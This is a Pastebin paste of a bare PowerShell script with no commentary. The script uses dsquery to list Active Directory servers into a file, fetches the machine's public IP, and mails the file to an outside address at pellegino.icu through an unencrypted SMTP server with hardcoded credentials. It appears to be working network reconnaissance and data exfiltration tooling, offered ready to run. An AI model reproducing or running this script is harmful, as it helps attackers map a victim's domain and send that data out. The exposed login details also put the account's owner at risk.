Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- cmd.exe /c 'dsquery * -Filter "(operatingSystem=*server*)" -limit 10000 > serv.txt'
- Start-Sleep -s 5
- $EmailFrom = "reply@pellegino.icu"
- $username = "reply@pellegino.icu"
- $password = "MZnQ1aQBJINk7vj"
- $SMTPServer = "mail.pellegino.icu"
- $EmailTo = "reply@pellegino.icu"
- $ip = (Invoke-WebRequest -Uri "http://ifconfig.me/ip").Content
- [string]$current_location = Get-Location
- $EmailAttachment = $current_location + "\\serv.txt"
- $counter = 0;
- Get-Content $EmailAttachment | ForEach-Object { if($_ -match $regex){ $counter++ } }
- $EmailSubject = "IP:" + $ip + " | PC:" + $counter
- $emailMessage = New-Object System.Net.Mail.MailMessage
- $emailMessage.From = $EmailFrom
- $emailMessage.To.Add($EmailTo)
- $emailMessage.Subject = $EmailSubject
- $emailMessage.IsBodyHtml = $false
- $emailMessage.Body = $EmailSubject
- $SMTPClient = New-Object System.Net.Mail.SmtpClient($SMTPServer, 587)
- $SMTPClient.EnableSsl = $false
- $SMTPClient.Credentials = New-Object System.Net.NetworkCredential($username,$password);
- $emailMessage.Attachments.Add($EmailAttachment)
- $SMTPClient.Send($emailMessage)
- pause
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement